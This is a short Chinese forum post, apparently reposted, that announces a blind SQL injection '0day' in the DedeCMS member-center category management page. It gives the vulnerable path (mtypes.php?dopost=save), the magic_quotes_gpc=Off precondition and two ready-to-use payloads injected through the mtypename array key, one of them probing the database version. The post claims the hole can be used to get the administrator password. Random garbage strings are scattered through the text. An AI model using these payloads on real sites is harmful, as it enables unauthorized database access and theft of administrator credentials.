DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理员密码

admin

需要magic_quotes_gpc = Off,所以说是鸡肋啊.
# U% Q7 M8 U( X7 H" e# G
& t9 O( v% H2 j" i! `% d
发生在数组key里的注射漏洞,有点意思.

这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
# M( c7 }# J8 P
0 Q/ ^( ^4 Y. g* K2 u/ Vhttp://www.xxx.com /dede/member/mtypes.php?dopost=save

  T" Q( u7 u' o% Kexploit:
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
/ c% u% u9 y( f* R6 q* l6 h